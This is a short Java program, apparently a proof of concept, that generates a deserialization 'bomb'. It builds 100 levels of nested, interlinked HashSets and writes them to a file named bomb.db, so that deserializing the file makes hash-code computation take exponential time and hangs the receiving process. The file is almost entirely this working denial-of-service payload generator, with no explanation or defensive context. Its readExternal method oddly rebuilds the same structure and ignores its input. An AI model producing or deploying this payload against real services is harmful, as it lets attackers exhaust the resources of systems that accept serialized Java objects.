import java.util.HashSet;
import java.util.Set;
import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.File;

public class bomb implements Externalizable  {

private int id;

	public static void main(String[] args) throws Exception {
		bomb b = new bomb();
File fichier =  new File("bomb.db") ;

ObjectOutputStream oos =  new ObjectOutputStream(new FileOutputStream(fichier)) ;

    Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
	  Set t1 = new HashSet();
	    Set t2 = new HashSet();
	      t1.add("foo"); // make it not equal to t2
	        s1.add(t1);
		  s1.add(t2);
		    s2.add(t1);
		      s2.add(t2);
		        s1 = t1;
			  s2 = t2;
}

oos.writeObject(root) ;
}


	@Override
  public void writeExternal(ObjectOutput out) throws IOException {
    out.writeInt(id);
  }

  @Override
  public void readExternal(ObjectInput in) throws IOException,
      ClassNotFoundException {
    Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
	  Set t1 = new HashSet();
	    Set t2 = new HashSet();
	      t1.add("foo"); // make it not equal to t2
	        s1.add(t1);
		  s1.add(t2);
		    s2.add(t1);
		      s2.add(t2);
		        s1 = t1;
			  s2 = t2;
}
  }


	}
